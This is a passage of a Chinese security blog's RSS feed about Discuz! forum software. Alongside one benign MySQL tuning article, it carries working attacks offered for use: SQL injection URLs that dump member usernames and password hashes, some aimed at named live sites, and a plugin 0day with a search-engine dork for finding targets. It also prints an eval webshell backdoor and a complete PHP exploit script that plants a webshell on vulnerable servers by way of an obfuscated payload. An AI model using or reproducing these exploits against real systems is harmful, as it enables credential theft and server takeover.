[+] http://target/[path]/plugin.php?identifier=family&#038;module=family&#038;action=view&#038;fmid=1+and+1=2+unIon+selecT+ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,group_concat(uid,0x3a,username,0x3a,password),25,26,27,28,29,30,31 from cdb_members--<br />
    [?] = Valid fmid Number</p>
<p>[+] Demo Live:<br />
[-] http://sj.netease.com/plugin.php?identifier=family&#038;module=family&#038;action=view&#038;fmid=6+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,group_concat(uid,0x3a,username,0x3a,password),19,20,21,22,23,24,25,26,27,28,29,30,31 from bbs_members--</p>
<p>[-] http://www.war3club.net/plugin.php?identifier=family&#038;module=family&#038;action=view&#038;fmid=11+and+1=2+unIon+selecT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,group_concat(uid,0x3a,username,0x3a,password),25,26,27,28,29,30,31,32,33 from cdb_members--
</p></blockquote>
<p>/---------------------------------------------www.zhaohuan.net-------------------------------------------------\  </p>
<p>  Today is the VALENTINE'S Day in China, the seventh day of the seventh lunar month.<br />
  Raise your head on August 26 and gaze at the stars, you will find something romantic going on in the sky  ;)<br />
  Greetz : Weeny <- love u more &#038; more</p>
<p>\--------------------------------------------------------------------------------------------------------------/</p>
<p># milw0rm.com [2009-08-26]</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2010年03月12日 -- <a href="http://www.4shell.org/archives/1616.html" title="Discuz! 7.2 最新注入漏洞分析与利用">Discuz! 7.2 最新注入漏洞分析与利用</a></li><li>2010年01月9日 -- <a href="http://www.4shell.org/archives/1465.html" title="Discuz7 记录明文">Discuz7 记录明文</a></li><li>2010年01月7日 -- <a href="http://www.4shell.org/archives/1464.html" title="discuz!7.1、7.2远程代码执行漏洞exploit">discuz!7.1、7.2远程代码执行漏洞exploit</a></li><li>2009年11月14日 -- <a href="http://www.4shell.org/archives/1167.html" title=" Discuz!NT 3.0 特殊环境下利用漏洞 "> Discuz!NT 3.0 特殊环境下利用漏洞 </a></li><li>2009年09月4日 -- <a href="http://www.4shell.org/archives/1086.html" title="Discuz! Plugin JiangHu <= 1.1 Sql injection Vulnerability">Discuz! Plugin JiangHu <= 1.1 Sql injection Vulnerability</a></li><li>2009年08月24日 -- <a href="http://www.4shell.org/archives/1040.html" title="MySQL优化 之 Discuz论坛优化">MySQL优化 之 Discuz论坛优化</a></li><li>2009年08月21日 -- <a href="http://www.4shell.org/archives/1032.html" title="Discuz 群体攻击第三波出现">Discuz 群体攻击第三波出现</a></li><li>2009年08月15日 -- <a href="http://www.4shell.org/archives/1015.html" title="Discuz!账号发放插件注入0day">Discuz!账号发放插件注入0day</a></li><li>2008年11月14日 -- <a href="http://www.4shell.org/archives/608.html" title="Discuz! 6.x/7.x SODB-2008-13 Exp">Discuz! 6.x/7.x SODB-2008-13 Exp</a></li><li>2008年11月9日 -- <a href="http://www.4shell.org/archives/567.html" title="Discuz! $_DCACHE数组变量覆盖漏洞">Discuz! $_DCACHE数组变量覆盖漏洞</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1057.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL优化 之 Discuz论坛优化</title>
		<link>http://www.4shell.org/archives/1040.html</link>
		<comments>http://www.4shell.org/archives/1040.html#comments</comments>
		<pubDate>Sun, 23 Aug 2009 17:41:10 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Discuz]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1040.html</guid>
		<description><![CDATA[discuz是很不错的论坛，大站用他的话还得有针对性的优化下mysql，转载开始。 作/译者：叶金荣，来源：http://imysql.cn，转载请注明作/译者和出处，并且不能用于商业用途，违者必究。 一. 前言 近日由于需要,对discuz论坛(简称dz)进行优化,当然了,只是涉及到数据库的优化. 先说一下服务器及dz的数据量,2 * Intel(R) Xeon(TM) CPU 2.40GHz, 4GB mem, SCISC硬盘. MySQL 版本为 4.0.23. 数据表情况: cdb_attachments 2万 cdb_members 10万 cdb_posts 68万 cdb_threads 7万 二. 缓存优化 在 my.cnf 中添加/修改以下选项: #取消文件系统的外部锁 skip-locking #不进行域名反解析,注意由此带来的权限/授权问题 skip-name-resolve #索引缓存,根据内存大小而定,如果是独立的db服务器,可以设置高达80%的内存总量 key_buffer = 512M #连接排队列表总数 back_log = 200 max_allowed_packet = 2M #打开表缓存总数,可以避免频繁的打开数据表产生的开销 table_cache = 512 #每个线程排序所需的缓冲 sort_buffer_size = 4M #每个线程读取索引所需的缓冲 [...]]]></description>
			<content:encoded><![CDATA[<p><span>discuz是很不错的论坛，大站用他的话还得有针对性的优化下mysql，转载开始。</span></p>
<p><span><span id="more-2711"> </span></span></p>
<p><span>作/译者：叶金荣，来源：<a href="http://imysql.cn/">http://imysql.cn</a>，转载请注明作/译者和出处，并且不能用于商业用途，违者必究。</span></p>
<p>一. 前言<br />
近日由于需要,对discuz论坛(简称dz)进行优化,当然了,只是涉及到数据库的优化.<br />
先说一下服务器及dz的数据量,2 * Intel(R) Xeon(TM) CPU 2.40GHz, 4GB mem, SCISC硬盘.<br />
MySQL 版本为 4.0.23. 数据表情况:<br />
cdb_attachments 2万<br />
cdb_members 10万<br />
cdb_posts 68万<br />
cdb_threads 7万<br />
二. 缓存优化<br />
在 my.cnf 中添加/修改以下选项:<br />
<span id="more-1040"></span></p>
<pre> #取消文件系统的外部锁
skip-locking
#不进行域名反解析,注意由此带来的权限/授权问题
skip-name-resolve
#索引缓存,根据内存大小而定,如果是独立的db服务器,可以设置高达80%的内存总量
key_buffer = 512M
#连接排队列表总数
back_log = 200
max_allowed_packet = 2M
#打开表缓存总数,可以避免频繁的打开数据表产生的开销
table_cache = 512
#每个线程排序所需的缓冲
sort_buffer_size = 4M
#每个线程读取索引所需的缓冲
read_buffer_size = 4M
#MyISAM表发生变化时重新排序所需的缓冲
myisam_sort_buffer_size = 64M
#缓存可重用的线程数
thread_cache = 128
#查询结果缓存
query_cache_size = 128M
#设置超时时间,能避免长连接
set-variable = wait_timeout=60
#最大并发线程数,cpu数量*2
thread_concurrency = 4
#记录慢查询,然后对慢查询一一优化
log-slow-queries = slow.log
long_query_time = 1
#关闭不需要的表类型,如果你需要,就不要加上这个
skip-bdb</pre>
<p>以上参数根据各自服务器的配置差异进行调整,仅作为参考.<br />
三. 索引优化<br />
上面提到了,已经开启了慢查询,那么接下来就要对慢查询进行逐个优化了.<br />
1. 搜索优化<br />
搜索的查询SQL大致如下:</p>
<pre> SELECT t.* FROM cdb_posts p, cdb_threads t WHERE
t.fid IN ('37', '45', '4', '6', '17', '41', '28', '32', '31', '1', '42')
AND p.tid=t.tid AND p.author LIKE 'JoansWin'
GROUP BY t.tid ORDER BY lastpost DESC LIMIT 0, 80;</pre>
<p>用 EXPLAIN 分析的结果如下:</p>
<pre> mysql&gt;EXPLAIN  SELECT t.* FROM cdb_posts p, cdb_threads t WHERE
t.fid IN ('37', '45', '4', '6', '17', '41', '28', '32', '31', '1', '42')
AND p.tid=t.tid AND p.author LIKE 'JoansWin'
GROUP BY t.tid ORDER BY lastpost DESC LIMIT 0, 80;
+-----------+------------+----------+--------------+-------------+-----------+-------------+
| id | select_type | table | type  | possible_keys | key  | key_len | ref         | rows  | Extra
+-----------+------------+----------+--------------+-------------+-----------+-------------+
|  1 | SIMPLE      | t     | range | PRIMARY,fid   | fid  | 2       | NULL        | 66160 | Using where;
Using temporary; Using filesort |
|  1 | SIMPLE      | p     | ref   | tid           | tid  | 3       | Forum.t.tid   |    10 | Using where
| +----+-------------+-------+-------+---------------+------+---------+-------------+-------+
---------</pre>
<p>只用到了 <code>t.fid</code> 和 <code>p.tid</code>,而 <code>p.author</code> 则没有索引可用,总共需要扫描<br />
<code>66160*10 = 661600 </code>次索引,够夸张吧 :(<br />
再分析 <code>cdb_threads</code> 和 <code>cdb_posts</code> 的索引情况:</p>
<pre> mysql&gt;show index from cdb_posts;
+-----------+------------+----------+--------------+-------------+-----------+----------
---+----------+--------+------+--+
| Table     | Non_unique | Key_name | Seq_in_index | Column_name | Collation | Cardinality | Sub_part |
Packed | Null | Index_type | Comment | +-----------+------------+----------+--------------+----
---------+-----------+-------------+----------+--------+------+--+
| cdb_posts |          0 | PRIMARY  |            1 | pid         | A         |      680114 |     NULL | NULL   |
| BTREE      |         |
| cdb_posts |          1 | fid      |            1 | fid         | A         |          10 |     NULL | NULL   |
| BTREE      |         |
| cdb_posts |          1 | tid      |            1 | tid         | A         |       68011 |     NULL | NULL   |
| BTREE      |         |
| cdb_posts |          1 | tid      |            2 | dateline    | A         |      680114 |     NULL | NULL   |
| BTREE      |         |
| cdb_posts |          1 | dateline |            1 | dateline    | A         |      680114 |     NULL | NULL   |
| BTREE      |         |
+-----------+------------+----------+--------------+-------------+-----------+---</pre>
<p>以及</p>
<pre> mysql&gt;show index from cdb_threads;
+-----------+------------+----------+--------------+-------------+-----------+-------------+
----------+--------+------+-----+
| Table       | Non_unique | Key_name  | Seq_in_index | Column_name | Collation | Cardinality | Sub_part |
Packed | Null | Index_type | Comment | +-----------+------------+----------+--------------+-----
--------+-----------+-------------+----------+--------+------+-----+
| cdb_threads |          0 | PRIMARY   |            1 | tid         | A         |       68480 |     NULL | NULL   |
| BTREE      |         |
| cdb_threads |          1 | lastpost  |            1 | topped      | A         |           4 |     NULL | NULL   |
| BTREE      |         |
| cdb_threads |          1 | lastpost  |            2 | lastpost    | A         |       68480 |     NULL | NULL   |
| BTREE      |         |
| cdb_threads |          1 | lastpost  |            3 | fid         | A         |       68480 |     NULL | NULL   |
| BTREE      |         |
| cdb_threads |          1 | replies   |            1 | replies     | A         |         233 |     NULL | NULL   |
| BTREE      |         |
| cdb_threads |          1 | dateline  |            1 | dateline    | A         |       68480 |     NULL | NULL   |
| BTREE      |         |
| cdb_threads |          1 | fid       |            1 | fid         | A         |          10 |     NULL | NULL   |
| BTREE      |         |
| cdb_threads |          1 | enablehot |            1 | enablehot   | A         |           2 |     NULL | NULL   |
| BTREE      |         | +-------------+------------+-----------+--------------+-------------+------</pre>
<p>看到索引 <code>fid</code> 和 <code>enablehot</code> 基数太小,看来该索引完全没必要,不过,对于fid基数较大的情况,则可能需要保留&gt;该索引.<br />
所做修改如下:</p>
<pre> ALTER TABLE `cdb_threads` DROP INDEX `enablehot`, DROP INDEX `fid`, ADD INDEX (`fid`, `lastpost`);
ALTER TABLE `cdb_posts` DROP INDEX `fid`, ADD INDEX (`author`(10));
OPTIMIZE TABLE `cdb_posts`;
OPTIMIZE TABLE `cdb_threads`;</pre>
<p>在这里, <code>p.author</code> 字段我设定的部分索引长度是 10, 是我经过分析后得出来的结果,不同的系统,这里的长度也不同,最好自己先取一下平均值,然后再适当调整.<br />
现在,再来执行一次上面的慢查询,发现时间已经从 6s 变成 0.19s,提高了 30 倍.<br />
这次先到这里,下次继续 ^_^</p>
<p>很早以前写过一个文章，是关于discuz论坛的优化：<a href="http://baoz.net/node/181">MySQL优化 之 Discuz论坛优化</a>。 写的时候是2006年，没想到过了这么久，discuz论坛的问题还是困扰着很多网友，其实从各论坛里看到的问题总结出来，很关键的一点都是因为没有将数 据表引擎转成InnoDB导致的，discuz在并发稍微高一点的环境下就表现的非常糟糕，产生大量的锁等待，这时候如果把数据表引擎改成InnoDB的 话，我相信会好很多。这次就写个扫盲贴吧。</p>
<p>1. 启用innodb引擎，并配置相关参数</p>
<pre>#skip-innodb
innodb_additional_mem_pool_size = 16M #一般16M也够了，可以适当调整下
innodb_buffer_pool_size = 6G #如果是专用db的话，一般是内存总量的80%
innodb_data_file_path = ibdata1:1024M:autoextend
innodb_file_io_threads = 4
innodb_thread_concurrency = 20
innodb_flush_log_at_trx_commit = 1
innodb_log_buffer_size = 16M
innodb_log_file_size = 256M
innodb_log_files_in_group = 3
innodb_max_dirty_pages_pct = 50
innodb_lock_wait_timeout = 120
innodb_file_per_table</pre>
<p>2. 修改表引擎为innodb</p>
<pre>mysql&gt; alter table cdb_access engine = innodb;</pre>
<p>其他表类似上面，把表名换一下即可…<br />
将表存储引擎改成innodb后，不仅可以避免大量的锁等待，还可以提升查询的效率，因为innodb会把data和index都放在buffer pool中，效率更高。</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年06月2日 -- <a href="http://www.4shell.org/archives/1935.html" title="Mysql安全">Mysql安全</a></li><li>2011年04月28日 -- <a href="http://www.4shell.org/archives/1897.html" title="MySQL.com和Sun.com到底是如何被黑的？">MySQL.com和Sun.com到底是如何被黑的？</a></li><li>2010年06月3日 -- <a href="http://www.4shell.org/archives/1766.html" title="Mysql另类盲注中的一些技巧">Mysql另类盲注中的一些技巧</a></li><li>2010年04月30日 -- <a href="http://www.4shell.org/archives/1745.html" title="MySQL监控快速指南">MySQL监控快速指南</a></li><li>2010年03月12日 -- <a href="http://www.4shell.org/archives/1616.html" title="Discuz! 7.2 最新注入漏洞分析与利用">Discuz! 7.2 最新注入漏洞分析与利用</a></li><li>2010年01月9日 -- <a href="http://www.4shell.org/archives/1465.html" title="Discuz7 记录明文">Discuz7 记录明文</a></li><li>2010年01月7日 -- <a href="http://www.4shell.org/archives/1464.html" title="discuz!7.1、7.2远程代码执行漏洞exploit">discuz!7.1、7.2远程代码执行漏洞exploit</a></li><li>2009年11月23日 -- <a href="http://www.4shell.org/archives/1173.html" title="MySQL安装详细图解">MySQL安装详细图解</a></li><li>2009年11月14日 -- <a href="http://www.4shell.org/archives/1167.html" title=" Discuz!NT 3.0 特殊环境下利用漏洞 "> Discuz!NT 3.0 特殊环境下利用漏洞 </a></li><li>2009年11月5日 -- <a href="http://www.4shell.org/archives/1156.html" title="MySQL导入数据库文件最大限制2048KB的修改解决办法">MySQL导入数据库文件最大限制2048KB的修改解决办法</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1040.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Discuz 群体攻击第三波出现</title>
		<link>http://www.4shell.org/archives/1032.html</link>
		<comments>http://www.4shell.org/archives/1032.html#comments</comments>
		<pubDate>Fri, 21 Aug 2009 01:58:41 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Discuz]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1032.html</guid>
		<description><![CDATA[初步推测是劫持了customer.discuz.net 再配合自定义模板变量那个漏洞 管理员访问后台时 便会生成一个一句话后门。 自定义模板变量: 变 量 : {’,”);ECHO ”;$X=SUBSTR(MD5($_GET['B']),28);IF($X==’7aaa’)EVAL($_POST['A']);//} 替换内容 : aaaaaaaaaa /forumdata/cache/usergroup_0.php 程序代码： < ?php (substr(md5($_POST['b']),28)==’7aaa’) &#038;&#038; eval($_POST['a']);?> 对post的变量b进行md5加密，如果第28-31的位置是7aaa(32位MD5的后四位)的话 就执行eval($_POST['a']); 相关文章2010年03月12日 -- Discuz! 7.2 最新注入漏洞分析与利用2009年11月14日 -- Discuz!NT 3.0 特殊环境下利用漏洞 2008年11月9日 -- Discuz! $_DCACHE数组变量覆盖漏洞2011年09月21日 -- WPA2不再安全 无线加密协议曝惊天漏洞2010年08月3日 -- 黑帽大会：HTTPS和SSL存在安全漏洞2010年07月3日 -- 风讯（FooSun）GetPassword.asp页面存在任意修改密码漏洞2010年05月8日 -- JBoss企业应用平台JMX控制台安全绕过漏洞2010年03月17日 -- 网页编辑器漏洞手册2010年01月9日 -- Discuz7 记录明文2010年01月7日 -- discuz!7.1、7.2远程代码执行漏洞exploit]]></description>
			<content:encoded><![CDATA[<p>初步推测是劫持了customer.discuz.net 再配合自定义模板变量那个漏洞 管理员访问后台时 便会生成一个一句话后门。<br />
自定义模板变量:<br />
变      量 : </p>
<blockquote><p>{’,”);ECHO ”;$X=SUBSTR(MD5($_GET['B']),28);IF($X==’7aaa’)EVAL($_POST['A']);//}</p></blockquote>
<p>替换内容 : aaaaaaaaaa</p>
<p>/forumdata/cache/usergroup_0.php</p>
<p>程序代码：</p>
<blockquote><p>< ?php (substr(md5($_POST['b']),28)==’7aaa’) &#038;& eval($_POST['a']);?></p></blockquote>
<p>对post的变量b进行md5加密，如果第28-31的位置是7aaa(32位MD5的后四位)的话 就执行eval($_POST['a']);</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2010年03月12日 -- <a href="http://www.4shell.org/archives/1616.html" title="Discuz! 7.2 最新注入漏洞分析与利用">Discuz! 7.2 最新注入漏洞分析与利用</a></li><li>2009年11月14日 -- <a href="http://www.4shell.org/archives/1167.html" title=" Discuz!NT 3.0 特殊环境下利用漏洞 "> Discuz!NT 3.0 特殊环境下利用漏洞 </a></li><li>2008年11月9日 -- <a href="http://www.4shell.org/archives/567.html" title="Discuz! $_DCACHE数组变量覆盖漏洞">Discuz! $_DCACHE数组变量覆盖漏洞</a></li><li>2011年09月21日 -- <a href="http://www.4shell.org/archives/2035.html" title="WPA2不再安全 无线加密协议曝惊天漏洞">WPA2不再安全 无线加密协议曝惊天漏洞</a></li><li>2010年08月3日 -- <a href="http://www.4shell.org/archives/1829.html" title="黑帽大会：HTTPS和SSL存在安全漏洞">黑帽大会：HTTPS和SSL存在安全漏洞</a></li><li>2010年07月3日 -- <a href="http://www.4shell.org/archives/1788.html" title="风讯（FooSun）GetPassword.asp页面存在任意修改密码漏洞">风讯（FooSun）GetPassword.asp页面存在任意修改密码漏洞</a></li><li>2010年05月8日 -- <a href="http://www.4shell.org/archives/1752.html" title="JBoss企业应用平台JMX控制台安全绕过漏洞">JBoss企业应用平台JMX控制台安全绕过漏洞</a></li><li>2010年03月17日 -- <a href="http://www.4shell.org/archives/1622.html" title="网页编辑器漏洞手册">网页编辑器漏洞手册</a></li><li>2010年01月9日 -- <a href="http://www.4shell.org/archives/1465.html" title="Discuz7 记录明文">Discuz7 记录明文</a></li><li>2010年01月7日 -- <a href="http://www.4shell.org/archives/1464.html" title="discuz!7.1、7.2远程代码执行漏洞exploit">discuz!7.1、7.2远程代码执行漏洞exploit</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1032.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Discuz!账号发放插件注入0day</title>
		<link>http://www.4shell.org/archives/1015.html</link>
		<comments>http://www.4shell.org/archives/1015.html#comments</comments>
		<pubDate>Fri, 14 Aug 2009 16:19:58 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[Discuz]]></category>
		<category><![CDATA[Plugins]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[注入]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1015.html</guid>
		<description><![CDATA[作者： 普瑞斯特 Discuz账号发放插件注入0day 插件名:2Fly礼品(序号)发放系统 漏洞文件:2fly_gift.php 版本:最新版 Exp: http://www.xxx.com/2fly_gift.php?pages=content&#038;gameid=16 and 1=2 union select 1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from cdb_members 搜索引擎特征:inurl:2fly_gift.php 上图: 相关文章2010年03月12日 -- Discuz! 7.2 最新注入漏洞分析与利用2009年08月28日 -- dedecms 5.3 – 5.5注入漏洞2008年11月9日 -- Discuz! $_DCACHE数组变量覆盖漏洞2012年02月10日 -- Xpath SQL Injection2011年06月6日 -- Easy Media Script SQL Injection Vulnerability2011年05月12日 -- Joomla Component com_hello SQL Injection Vulnerability2010年06月10日 -- 你还敢执行txt文件吗？Windows 0day 2010年06月6日 -- Havij v1.1 [...]]]></description>
			<content:encoded><![CDATA[<p>作者： 普瑞斯特</p>
<p>Discuz账号发放插件注入0day</p>
<p>插件名:2Fly礼品(序号)发放系统<br />
漏洞文件:2fly_gift.php<br />
版本:最新版<br />
Exp:<br />
<span id="more-1015"></span><br />
http://www.xxx.com/2fly_gift.php?pages=content&#038;gameid=16 and 1=2 union select 1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from cdb_members<br />
搜索引擎特征:inurl:2fly_gift.php<br />
上图:<br />
<img src="http://www.4shell.org/wp-content/uploads/2009/08/200908141228238711.png" alt="200908141228238711" title="200908141228238711" width="556" height="395" class="alignnone size-full wp-image-1013" /><br />
<img src="http://www.4shell.org/wp-content/uploads/2009/08/200908141228366411.png" alt="200908141228366411" title="200908141228366411" width="555" height="394" class="alignnone size-full wp-image-1014" /></p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2010年03月12日 -- <a href="http://www.4shell.org/archives/1616.html" title="Discuz! 7.2 最新注入漏洞分析与利用">Discuz! 7.2 最新注入漏洞分析与利用</a></li><li>2009年08月28日 -- <a href="http://www.4shell.org/archives/1066.html" title="dedecms 5.3 – 5.5注入漏洞">dedecms 5.3 – 5.5注入漏洞</a></li><li>2008年11月9日 -- <a href="http://www.4shell.org/archives/567.html" title="Discuz! $_DCACHE数组变量覆盖漏洞">Discuz! $_DCACHE数组变量覆盖漏洞</a></li><li>2012年02月10日 -- <a href="http://www.4shell.org/archives/2080.html" title="Xpath SQL Injection">Xpath SQL Injection</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1955.html" title="Easy Media Script SQL Injection Vulnerability">Easy Media Script SQL Injection Vulnerability</a></li><li>2011年05月12日 -- <a href="http://www.4shell.org/archives/1926.html" title="Joomla Component com_hello SQL Injection Vulnerability">Joomla Component com_hello SQL Injection Vulnerability</a></li><li>2010年06月10日 -- <a href="http://www.4shell.org/archives/1777.html" title="你还敢执行txt文件吗？Windows 0day ">你还敢执行txt文件吗？Windows 0day </a></li><li>2010年06月6日 -- <a href="http://www.4shell.org/archives/1772.html" title="Havij v1.1 Advanced SQL Injection">Havij v1.1 Advanced SQL Injection</a></li><li>2010年05月21日 -- <a href="http://www.4shell.org/archives/1761.html" title="橙色预警：PHP PATH_INFO 存在漏洞">橙色预警：PHP PATH_INFO 存在漏洞</a></li><li>2010年05月8日 -- <a href="http://www.4shell.org/archives/1754.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1015.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Discuz! 6.x/7.x SODB-2008-13 Exp</title>
		<link>http://www.4shell.org/archives/608.html</link>
		<comments>http://www.4shell.org/archives/608.html#comments</comments>
		<pubDate>Fri, 14 Nov 2008 13:30:26 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Discuz]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/608.html</guid>
		<description><![CDATA[/**<br />* Discuz! 6.x/7.x SODB-2008-13 Exp<br />* By www.80vul.com<br />* 文件中注释的变量值请自行修改<br />*/<br />
]]></description>
			<content:encoded><![CDATA[<p class="code"><code>#!/usr/bin/php<br />
&lt;?php<br />
/**<br />
* Discuz! 6.x/7.x SODB-2008-13 Exp<br />
* By www.80vul.com<br />
* 文件中注释的变量值请自行修改<br />
*/</code></p>
<p><code>$host = 'www.80vul.com';<br />
// 服务器域名或IP<br />
$path = '/discuz/';<br />
// 程序所在的路径<br />
$key  = 0;<br />
// 上面的变量编辑好后，请将此处的值改为1</p>
<p>if (strpos($host, '://') !== false || strpos($path, '/') === false || $key !== 1)<br />
exit("专业点好不,先看看里面的注释 -,-\n");</p>
<p>error_reporting(7);<br />
ini_set('max_execution_time', 0);</p>
<p>$key = time();<br />
$cmd = 'action=register&amp;username='.$key.'&amp;password='.$key.'&amp;email='.$key.'@80vul.com&amp;_DCACHE=1';<br />
$resp = send();</p>
<p>preg_match('/logout=yes&amp;formhash=[a-z0-9]{8}&amp;sid=([a-zA-Z0-9]{6})/', $resp, $sid);</p>
<p>if (!$sid)<br />
exit("哦,大概是没有开启WAP注册吧 -,-\n");</p>
<p>$cmd = 'stylejump[1]=1&amp;styleid=1&amp;inajax=1&amp;transsidstatus=1&amp;sid='.$sid[1].'&amp;creditsformula=${${fputs(fopen(chr(46).chr(46).chr(47).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(101).chr(118).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(56).chr(48).chr(118).chr(117).chr(108))}}';<br />
send();</p>
<p>$shell = 'http://'.$host.$path.'forumdata/cache/eval.php';</p>
<p>if (file_get_contents($shell) == '80vul')<br />
exit("好了,去看看你的WebShell吧:\t$shell\n里面的代码是:\t&lt;?eval(\$_POST[c])?&gt;\n别告诉我你不会用 -,-\n");<br />
else<br />
exit("嗯,大概是该网站不存在漏洞,换一个吧 -,-\n");</p>
<p>function send()<br />
{<br />
global $host, $path, $url, $cmd;</p>
<p>$data = "POST ".$path."wap/index.php  HTTP/1.1\r\n";<br />
$data .= "Accept: */*\r\n";<br />
$data .= "Accept-Language: zh-cn\r\n";<br />
$data .= "Referer: http://$host$path\r\n";<br />
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";<br />
$data .= "User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1\r\n";<br />
$data .= "Host: $host\r\n";<br />
$data .= "Connection: Close\r\n";<br />
$data .= "Content-Length: ".strlen($cmd)."\r\n\r\n";<br />
$data .= $cmd;</p>
<p>$fp = fsockopen($host, 80);<br />
fputs($fp, $data);</p>
<p>$resp = '';</p>
<p>while ($fp &amp;&amp; !feof($fp))<br />
$resp .= fread($fp, 1024);</p>
<p>return $resp;<br />
}</p>
<p></code></p>
<p><code>?&gt;<br />
</code></p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2010年03月12日 -- <a href="http://www.4shell.org/archives/1616.html" title="Discuz! 7.2 最新注入漏洞分析与利用">Discuz! 7.2 最新注入漏洞分析与利用</a></li><li>2010年01月9日 -- <a href="http://www.4shell.org/archives/1465.html" title="Discuz7 记录明文">Discuz7 记录明文</a></li><li>2010年01月7日 -- <a href="http://www.4shell.org/archives/1464.html" title="discuz!7.1、7.2远程代码执行漏洞exploit">discuz!7.1、7.2远程代码执行漏洞exploit</a></li><li>2009年11月14日 -- <a href="http://www.4shell.org/archives/1167.html" title=" Discuz!NT 3.0 特殊环境下利用漏洞 "> Discuz!NT 3.0 特殊环境下利用漏洞 </a></li><li>2009年09月4日 -- <a href="http://www.4shell.org/archives/1086.html" title="Discuz! Plugin JiangHu <= 1.1 Sql injection Vulnerability">Discuz! Plugin JiangHu <= 1.1 Sql injection Vulnerability</a></li><li>2009年08月27日 -- <a href="http://www.4shell.org/archives/1057.html" title="Discuz! Plugin Crazy Star <= 2.0 Sql injection Vulnerability">Discuz! Plugin Crazy Star <= 2.0 Sql injection Vulnerability</a></li><li>2009年08月24日 -- <a href="http://www.4shell.org/archives/1040.html" title="MySQL优化 之 Discuz论坛优化">MySQL优化 之 Discuz论坛优化</a></li><li>2009年08月21日 -- <a href="http://www.4shell.org/archives/1032.html" title="Discuz 群体攻击第三波出现">Discuz 群体攻击第三波出现</a></li><li>2009年08月15日 -- <a href="http://www.4shell.org/archives/1015.html" title="Discuz!账号发放插件注入0day">Discuz!账号发放插件注入0day</a></li><li>2008年11月9日 -- <a href="http://www.4shell.org/archives/567.html" title="Discuz! $_DCACHE数组变量覆盖漏洞">Discuz! $_DCACHE数组变量覆盖漏洞</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/608.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

